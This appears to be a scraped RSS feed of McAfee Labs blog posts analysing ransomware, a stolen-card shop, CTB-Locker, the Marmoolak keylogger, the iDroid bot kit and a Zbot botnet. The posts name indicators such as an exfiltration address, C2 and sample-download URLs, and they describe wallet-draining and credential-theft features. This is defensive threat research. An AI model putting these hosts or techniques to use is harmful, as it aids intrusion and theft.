We are just scratching the surface of the possibilities of today’s ransomware. We have seen attempts on mobile devices, but restoring files from a phone backup or the cloud is easy and is enabled by default once you connect your phone to your computer or the Internet. In the McAfee Malware Operations Labs we are working with different scenarios and possible ransomware variants that we expect to surface in a short time. Our goal is to protect our customers from those threats. McAfeenot only operates on the detection and prevention of ransomware, but we are also heavily involved in working with law enforcement and other organizations to combine our forces and battle against ransomware.

The post Ease of Buying Ransomware Fuels Affiliate Program appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ease-buying-ransomware-fuels-affiliate-program/feed/ 0
Stolen Credit Card Numbers Easy to Buy Online https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stolen-credit-card-numbers-easy-buy-online/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stolen-credit-card-numbers-easy-buy-online/#respond Mon, 04 May 2015 22:50:09 +0000 https://blogs.mcafee.com/?p=43121 We have seen an increasing amount of articles published about the “Dark Web,” underground cybercriminal sites that are hosted on hidden servers and can be accessed only by using Tor. One example of a Dark Web site hosted on one of these “.onion” domains was the Silk Road, a site infamous for the buying and […]

The post Stolen Credit Card Numbers Easy to Buy Online appeared first on McAfee Blogs.

]]>
We have seen an increasing amount of articles published about the “Dark Web,” underground cybercriminal sites that are hosted on hidden servers and can be accessed only by using Tor.

One example of a Dark Web site hosted on one of these “.onion” domains was the Silk Road, a site infamous for the buying and selling of drugs, among other products and services. That site was taken down by law enforcement, and the owner was arrested.

During a recent investigation McAfee discovered a site offering fresh dumps of stolen credit card numbers. This is nothing new, of course; these sites are available everywhere on the (visible) Internet. In this case, after we registered and were validated as a new “customer,” we saw this menu:

20150504 card 1

Several options are available. We looked first at the Sale page, where the shop offers Bitcoin discounts on credit cards that are valid for only two weeks. If we buy now, we’ll get BTC 0.9 off.

20150504 card 2

So much for “bargain shopping.” Let’s look into buying a few credit cards. The site exposes the amount of fresh dumps they have and how widespread they are, as we see in the following small selection:

20150504 card 3

Selecting the “New big base USA” option from March 2015, we find the following selection criteria:

20150504 card 4

Let’s see which cards we can buy around the McAfee office I work in. A few seconds later, the site displays a list of credit cards that can be purchased from people who live in Beaverton, Oregon:

20150504 card 5

As an extra service, the Russian owner(s) of the website offer—for the modest fee of US$300—the option to use a private botnet to attack your competitors with a distributed denial of service. That’s a nice offer: What we could have saved on our “purchase,” we could now use to boost our business a little bit more.

Of course, we did not actually buy any credit card numbers. But the amount of fresh credit cards this service offers in the United States and rest of the world is huge. The ease of buying and paying is astonishing, all with a few anonymous mouse clicks.

Although financial institutions take antifraud measures, your credit card details could have been stolen by a breach of an online business, point-of-sale terminal malware, or a number of other ways. To defend yourselves, simply checking your monthly statements is the best way to verify your purchases for irregularities.

The post Stolen Credit Card Numbers Easy to Buy Online appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stolen-credit-card-numbers-easy-buy-online/feed/ 0
The Rise of Backdoor-FCKQ (CTB-Locker) https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rise-backdoor-fckq-ctb-locker/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rise-backdoor-fckq-ctb-locker/#comments Wed, 21 Jan 2015 18:09:16 +0000 https://blogs.mcafee.com/?p=40787 By Raj Samani (@Raj_Samani) and Christiaan Beek (@ChristiaanBeek) In the McAfee Labs Threats Report published in November 2014, Senior Vice President Vincent Weafer commented that 2014 will be remembered as “the year of shaken trust.” Indeed almost every threat measured saw notable increases in Q3 that pointed to a rather ominous 2015.  There was, however, […]

The post The Rise of Backdoor-FCKQ (CTB-Locker) appeared first on McAfee Blogs.

]]>
By Raj Samani (@Raj_Samani) and Christiaan Beek (@ChristiaanBeek)

In the McAfee Labs Threats Report published in November 2014, Senior Vice President Vincent Weafer commented that 2014 will be remembered as “the year of shaken trust.” Indeed almost every threat measured saw notable increases in Q3 that pointed to a rather ominous 2015.  There was, however, one notable exception: ransomware.

ransomeware

The preceding figure provided a respite against the threat of ransomware, but as foreseen in the McAfee Labs Threats Predictions “Ransomware will evolve its methods of propagation, encryption, and the targets it seeks.”

For many, this prediction appears to be ringing true with the rise in Backdoor-FCKQ (aka known as CTB-Locker) now distributed via multiple channels including IRC, peer-to-peer networks, newsgroup postings, email spam, etc. 

Details

“Backdoor-FCKQ” is a new crypto malware delivered through email that encrypts data files on the target system.

It copies itself to the following folder:

  • %temp%< 7 random characters>.exe
  • %temp%\wkqifwe.exe

It also creates a job task containing seven random characters:

  • %windir%\Tasks\cderkbm.job

The following registry keys are added to the system:

  • %ALLUSERSPROFILE%\Application Data\Microsoft\<7 random characters>

It injects code into svchost.exe, and svchost.exe will launch files from the following:

  • %temp%\<7 random characters>.exe

The code injected into svchost.exe will encrypt files with the following extensions:

  • .pdf
  • .xls
  • .ppt
  • .txt
  • .py
  • .wb2
  • .jpg
  • .odb
  • .dbf
  • .md
  • .js
  • .pl

Once a system is infected, the malware displays the following image:

CTBLocker

The newly created process creates a mutex named:

  • \BaseNamedObjects\lyhrsugiwwnvnn

An interesting angle in this new round of Backdoor-FCKQ malware is the use of the well-known downloader Dalexis. There are several versions of this downloader. A simple query in our internal database resulted in more than 900 hits of this downloader and variants of it. To circumvent antispam tools, the downloader is hidden in a zip file that contains a zip and eventually unpacks to a .scr (screensaver) file.

The function of the downloader is to download additional malware from certain locations, unpack the Xor-coded malware, and execute it. In this case the additional malware, the CTB, was packed in the file pack.tar.gz:

code 1Figure 1: pack.tar.gz.

As we can see from the preceding screenshot, there’s no file header present that represents a known file type. For example, if this were an executable file, the first two characters (aka the magic number) would have been “MZ.” This is one of the ways in which malware authors try to circumvent gateway detection of malware. Some other tricks we have seen frequently recently is to put the payload of the malware on Pastebin or Github.

In this case, pack.tar.gz used different XOR keys to encrypt parts of the file. Once this puzzle was cracked, the unpacked code of Backdoor-FCKQ is revealed:

code 2Figure 2: Unpacked code of Backdoor-FCKQ.

With multiple samples of Backdoor-FCKQ (CTB-Locker) as comparison material, we immediately recognized code parts.

As a quick Yara detection rule, the following can be used:

code 3

Bitcoin trail

While tracing the Bitcoin trail and possible transactions, no value on the account was found and no transactions were made to other accounts.

Removal

All users: Use current engine and DAT files for detection and removal.

Modifications made to the system registry and/or INI files to hook system start-up will be successfully removed if cleaning with the recommended engine and DAT combination (or later versions).

A special thanks to Sanchit Karve for his assistance in the analysis.

The post The Rise of Backdoor-FCKQ (CTB-Locker) appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rise-backdoor-fckq-ctb-locker/feed/ 9
At McAfee, Protecting Customers Takes Precedence Over Seeking Headlines https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-protecting-customers-takes-precedence-seeking-headlines/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-protecting-customers-takes-precedence-seeking-headlines/#comments Fri, 21 Nov 2014 19:34:05 +0000 http://blogs.mcafee.com/?p=39524 One question I often hear is “When will McAfee publish a report on the latest threat?” It seems to be a hot trend today for security companies to offer reports with topics such as “Operation X” or “Malware Y,” or to trumpet how many zero-day vulnerabilities they have found. Do we now measure a security […]

The post At McAfee, Protecting Customers Takes Precedence Over Seeking Headlines appeared first on McAfee Blogs.

]]>
One question I often hear is “When will McAfee publish a report on the latest threat?”

It seems to be a hot trend today for security companies to offer reports with topics such as “Operation X” or “Malware Y,” or to trumpet how many zero-day vulnerabilities they have found. Do we now measure a security company on the quantity of whitepapers it publishes or the number of zero days it discovers?

Publishing is a valuable activity, but there is a huge difference between a well-researched threat analysis and a “for the sake of media attention” report. A good analysis will explain the techniques of an attack and offer guidance to help customers or the public learn from the incident and adapt their defenses to combat future threats—that’s threat intelligence.

A security company should be measured by how well it helps customers prevent and mitigate threats with its products, by its response time and openness in addressing newly discovered vulnerabilities, and by its effectiveness in implementing detection and protection in its products.

I was amazed at how fast and dedicated our people in many teams around the world worked to address the recent Shellshock vulnerability. Some teams quickly set up honey pots around the globe to learn how the attackers were abusing this vulnerability and adapted the lessons they learned to create network IPS rules used by McAfee Network Security Platform. In fact, McAfee products began detecting and preventing attacks that exploited the Shellshock vulnerability within 24 hours of its public announcement. Detailed signatures were ready within 48 hours.

Over the years I have seen many headlines based on reports from companies that were quick to publish their findings. But that doesn’t mean they were the only companies to look into those threats. As those reports were being written, our researchers were often working diligently to analyze and counter the threats. Many threats we analyze never appear in the press, because we respect the nondisclosure agreements we sign with our customers. We would rather be regarded as a trusted partner who knows when to keep silent than as a publicity seeker. In some cases we quietly update our products; in other cases we talk to our customers and agree on when to release updates. We publish some of our analyses only after law enforcement investigations have become public.

In recent years, we have analyzed a large number of targeted attacks, also known as advanced persistent threats, or APTs. During these investigations we map our findings against the phases of the “APT kill chain.” The kill chain describes the phases of a targeted attack and shows where it might be possible to stop the attacks:

20141121 Beek-2

Phases of the APT kill chain.

In most APT attacks, the modus operandi is the same, maybe using some different tools, but the techniques used by the attackers are usually quite similar. By analyzing targeted attacks, we offer our customers insight into the weaknesses in their organizations—and help them strengthen their defenses.

Given the weekly published reports of destructive attacks, sophisticated malware, and newly uncovered vulnerabilities, I can imagine anyone might lose track of what is important. Reports certainly offer insight and thus have value, but they pale in comparison to the value of timely, effective protection reliably delivered every day.

 

The post At McAfee, Protecting Customers Takes Precedence Over Seeking Headlines appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-protecting-customers-takes-precedence-seeking-headlines/feed/ 3
Iranian Keylogger Marmoolak Enters via Backdoor https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/iranian-keylogger-marmoolak-enters-via-backdoor/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/iranian-keylogger-marmoolak-enters-via-backdoor/#respond Wed, 21 May 2014 19:31:03 +0000 http://blogs.mcafee.com/?p=35547 Targeted attacks have several stages, sometimes called the APT kill chain. At McAfee Labs we prefer the model described by Lockheed Martin: As part of the weaponizing phase, attackers often put a payload into a file that, once installed, will connect in the C2 (command and control) phase to the attacker. A very common payload […]

The post Iranian Keylogger Marmoolak Enters via Backdoor appeared first on McAfee Blogs.

]]>
Targeted attacks have several stages, sometimes called the APT kill chain. At McAfee Labs we prefer the model described by Lockheed Martin:

Marmoolak 1

As part of the weaponizing phase, attackers often put a payload into a file that, once installed, will connect in the C2 (command and control) phase to the attacker. A very common payload used by many password-stealing malware is a keylogger. The purpose of keylogging is to capture the users’ keystrokes, and gather credentials and links to internal and external resources. The stolen credentials can later be used to weaponize another file or serve as part of the actions phase of the APT kill chain.

One example we recently ran into is the malware Marmoolak, an Iranian keylogger with the MD5 F09D2C65F0B6AD55593405A5FD3A7D91.

We traced the first appearance of this keylogger to a Middle-East forum:

Marmoolak 2

Although some keyloggers may capture keystrokes for legitimate purposes, this one misleads its victims by including a hidden payload. By placing this keylogger on this forum, we believe the developer intended to attack other members of this forum, a popular tactic in that region.

To prevent detection, malware authors often use cheap and easy packer’s, which modify the malware witha runtime compression or encryption program. In this case the files were hidden by a modified version of the well-known packer UPX.

On execution, the file adds a copy of itself into the System32 folder as Mcsng.exe. The malware also launches a process that drops and writes the file 1stmp.sys in the %system32%\config folder:

Marmoolak 3

Although the file extension suggests it is a .sys (system) file, it is not. Its purpose is to function as a log file that contains the encrypted keystrokes of the user. Every time a key is pressed, the process records the keystroke, encrypts it and appends it to 1stmp.sys. The next screen shows a section of encrypted strings:

Marmoolak 4

Although the encryption algorithm is simple, it uses “selective encryption,” with two techniques: Each byte is encrypted by technique 1 if it is odd and technique 2 if it is even. Here is an example of a log after decryption:

Marmoolak 5

After decrypting we can see not only keystrokes, but also the time stamps when they were logged. After the keystrokes are logged and encrypted, the malware mails its content to its author. The malware also sends computer name and user name data to its master.

After cleaning up the standard Visual Basic obfuscation we can see the malware uses Sendmail:

Marmoolak 6

In this case the encrypted log is sent to the email address Marmoolak@red-move.tk. This address is hosted on a domain that is very popular in Iran for hosting malware. The McAfee Labs reputation engine has flagged this domain as malicious: http://www.mcafee.com/threat-intelligence/domain/default.aspx?domain=red-move.tk

After deobfuscation, we observed strings in Persian that contain the word marmoolak, a frequent derogatory term in Persian to describe their Arabic neighbors.

McAfee detects this Trojan keylogger and its variants as Keylog-FAG! To avoid infection from this and other keyloggers, keep your antivirus system updated and do not download content from untrusted sources. Be especially careful of hacker forums. Some members pretend to be helpful and offer their tools. However, these tools are often backdoor malware and exist solely to access systems and abuse them for various malicious ends.

The post Iranian Keylogger Marmoolak Enters via Backdoor appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/iranian-keylogger-marmoolak-enters-via-backdoor/feed/ 0
iDroid Bot for Sale Taps Into Mobile Wallets https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/idroid-bot-for-sale-taps-into-mobile-wallets/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/idroid-bot-for-sale-taps-into-mobile-wallets/#respond Thu, 10 Apr 2014 19:02:19 +0000 http://blogs.mcafee.com/?p=34658 During recent weeks we’ve seen a new botnet kit advertised in several Russian forums. The iDroidbot costs US$1,500 and targets phones running iOS 7.1 and earlier, as well as Android 2.2 and later. The kit has some interesting features, including a credit-card number grabber and a method for draining mobile wallets. According to the developer, […]

The post iDroid Bot for Sale Taps Into Mobile Wallets appeared first on McAfee Blogs.

]]>
During recent weeks we’ve seen a new botnet kit advertised in several Russian forums. The iDroidbot costs US$1,500 and targets phones running iOS 7.1 and earlier, as well as Android 2.2 and later. The kit has some interesting features, including a credit-card number grabber and a method for draining mobile wallets.

20140410 iDroid 1


According to the developer, the bot has the following features:

  • Web administration
  • Windows XP, 7 administration
  • Server connection through TOR
  • Connection via proxy

 

20140410 iDroid 2

The login screen of the panel (in screen above) shows options such as the TOR/Proxy login.

The malware can tap into several mobile wallets:

  • Search and inject into purses on infected machines
  • Drain a victim’s Visa QIWI Wallet (up to Version 2.8.4) by substituting operations
  • Drain WebMoney Keeper Mobile (up to Version 3.0.8 on R and Z purses) by substituting operations
  • Drain Yandex 2.2 (up to Version 2.8.4) by substituting operations

 

The WM/QIWI/Yandex button (below) shows options for stealing from the wallets:

20140410 iDroid 3

The preceding screenshot demonstrates theft from a QIWI Wallet, whose electronic payment system allows customers to make payments online for items such as utilities, online purchases, and bank loans. In the statistics part of the admin panel, the vendor shows the amount of money earned so far by this setup:

20140410 iDroid 4

The malware can steal other data, including:

  • Keystrokes by tags or by country. The name Troy appears in the processes.
  • Credit card numbers by country
  • Email by country

 

20140410 iDroid 5

Miscellaneous features:

  • Sending SMS in stealth mode to a specified number
  • Recording conversations in .wav files
  • Intercepting SMS from a specific number
  • Taking screenshots

According to the seller, the bots can be spread by the following methods:

  • Android 2.2 or later—by setting the MIDlet, instructions included
  • iOS 7.1 and earlier—by opening the URL and accepting the agreement
  • Sewing a MIDlet to any application

The post iDroid Bot for Sale Taps Into Mobile Wallets appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/idroid-bot-for-sale-taps-into-mobile-wallets/feed/ 0
Zbot Botnet Steals Thousands of Credentials https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/zbot-botnet-steals-thousands-credentials/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/zbot-botnet-steals-thousands-credentials/#respond Mon, 07 Apr 2014 23:37:22 +0000 http://blogs.mcafee.com/?p=34571 In McAfee Labs we keep a close eye on the Zeus/Zbot/Gamover botnet malware that is responsible of thousands of samples we gather each day. The following graph shows the total number of Zbot samples submitted to McAfee Labs in recent months. For a couple of weeks, McAfee Labs has followed a global Zbot campaign, in […]

The post Zbot Botnet Steals Thousands of Credentials appeared first on McAfee Blogs.

]]>
In McAfee Labs we keep a close eye on the Zeus/Zbot/Gamover botnet malware that is responsible of thousands of samples we gather each day. The following graph shows the total number of Zbot samples submitted to McAfee Labs in recent months.

20140407 Zbot1

For a couple of weeks, McAfee Labs has followed a global Zbot campaign, in which payloads have been used to steal credentials. Between the end of March and April 3, the amount of bots connected to the botnet ranged between 26,000 and 41,000.

 

Countries Involved

The following map and table are based on the data of April 2. Only countries with more than 80 bots are highlighted:

20140407 Zbot2

20140407 Zbot3

The top 10 countries infected with the data-stealing malware:

Country                     Number of Bots

1.   United Kingdom    6,694

2.   India                      4,820

3.   South Africa           3,472

4.   China                     1,197

5.   Indonesia               1,175

6.   South Korea           1,034

7.   Italy                        1,029

8.   United States            999

9.   Malaysia                    958

10. Taiwan                       664

 

By the Numbers

The statistics in the following botnet control screen show some interesting details around the most targeted CPUs and operating systems.

The 32-bit CPU architecture is targeted about three times more than 64-bit systems. Windows 7 is the leading operating system, closely followed by Windows XP.

When we started monitoring the botnet, the average number of bots connected to the botnet was 34,461. Around April 1, the number of bots decreased to 26,836. Immediately thereafter, we saw a successful campaign to update the number of bots, with the botnet reaching 41,820 bots. In the United Kingdom, for example, the number of bots grew by 2,000 to 8,663 infected hosts.

20140407 Zbot4

The botnet control server hosted at hxxp://vodrasit.su was set up around the beginning of March, although the team behind this was not very careful in guarding the root directory of their server:

20140407 Zbot5

Jolly Roger

The malware used to get the bots connected to the control server is called Jolly Roger. This kit has been available on the underground market since October 2013. Security blogger Kafeine offered an excellent overview in his post about this kit.

During the botnet campaigns, we found a sample at hxxp://merdekapalace.com/jr.exe

In a forum in March, “Silent Riot” posted an update on Jolly Roger that announced support for hijacking Bitcoin wallets:

20140407 Zbot6

On March 13, Silent Riot mentioned a bug and an update:

20140407 Zbot7

The malware steals credentials from various programs on a user’s computer.  The harvesting of credentials can be set up per country or campaign. In this case the botnet harvested data on http/https, FTP, RDP, email (SMTP/POP), and certificates:

20140407 Zbot8

The preceding overview shows the type of logs available; the count, the number of lines with harvested credentials; and the size of the logs. For example, 153 RDP credentials were harvested during the month’s campaign. That is not the number of unique sites or links; in some cases the same links are harvested multiple times.

An example of a log file:

20140407 Zbot9

During our investigation, we found thousands of leaked social media accounts, webmail, corporate and government email-accounts, RDP sessions into companies, and more. We have reported many of these to CERTs and law enforcement. In one case, a law enforcement agency confirmed that the leaked credentials were already being abused to commit banking fraud.

The control server is no longer available, but we will keep a close watch on this particular botnet to see if it resurfaces.

We would like to thank Kafeine in particular for his help, as well as the many CERTs and law enforcement agencies that responded quickly to our investigation and took actions to inform victims.

The post Zbot Botnet Steals Thousands of Credentials appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/zbot-botnet-steals-thousands-credentials/feed/ 0
Four Pillars Build the Foundation of Successful SIEM https://securingtomorrow.mcafee.com/business/security-operations/four-pillars-build-foundation-successful-siem/ https://securingtomorrow.mcafee.com/business/security-operations/four-pillars-build-foundation-successful-siem/#respond Tue, 18 Mar 2014 19:30:26 +0000 http://blogs.mcafee.com/?p=34057 Talking with customers during the past few months, the key topics and questions we heard were all about targeted attacks, threat intelligence, and security information and event management (SIEM). However, there seems be a myth that “once we have SIEM, we will have visibility into threats”—as if SIEM will give us all the answers. To […]

The post Four Pillars Build the Foundation of Successful SIEM appeared first on McAfee Blogs.

]]>
Talking with customers during the past few months, the key topics and questions we heard were all about targeted attacks, threat intelligence, and security information and event management (SIEM). However, there seems be a myth that “once we have SIEM, we will have visibility into threats”—as if SIEM will give us all the answers.

To successfully deploy SIEM and benefit from its capacity and functionality, you must first lay a proper foundation. Like building a house, you don’t build it on sand, but on solid ground. The foundation is deeply anchored. Your solution needs to withstand and survive a (log and event) storm and report what you need to see.

To lay the foundation for SIEM, you must carefully review the following pillars:

  • Identify what to protect: critical assets
  • Log management
  • Event cases
  • Incident response management and capacity

Identify what to protect

In many of our engagements to build a security operations center, we’re told “everything needs to be protected.” If that’s the case, you have just decided to overflow your SIEM with tons of events. You will certainly miss the events you need to react to. We recommend first monitoring your critical assets. What are they? Those are the systems and services that are the moneymakers for your company. If they were down/lost/damaged, it would have a huge impact on you and could ruin your business, resulting in financial loss. An example of a critical asset might be your SAP or ticket-booking system.

Log management

Once you have identified the critical assets, what kind of logging is available for the systems that are involved? Is logging enabled? What is the retention policy of the log files? Are all assets in sync with regards to time, or is there an offset causing a gap during a timeline analysis of an incident?

Event cases

Once the critical assets are identified and you have an insight on the logs you’re maintaining and what log artifacts are available for those systems, you can build event cases for these systems. Think like an attacker: How would you try to access or compromise your critical assets? What would be abnormal versus normal behavior with regards to these systems? Of course, event cases need fine-tuning now and then, especially after changes have been made to your critical environment.

Incident response management and capacity

What if the fire-alert system of your house detects a fire but there is no sprinkler system and the nearest fire brigade is miles away? This is something to think about before deploying SIEM. You need procedures that define what to do if events are triggered for a critical component and, after initial analysis, escalate as an incident. Who has the capacity to respond to respond to incidents?

Deploying SIEM is not simply putting a box on the network. That’s only the technology part. What about people and processes? Preparing for a SIEM deployment requires having the right visibility of your company’s critical assets and responding in a timely matter to events. These pillars are a guide that we have successfully used in many deployments of SIEM and building a security operations center.

 

The post Four Pillars Build the Foundation of Successful SIEM appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/security-operations/four-pillars-build-foundation-successful-siem/feed/ 0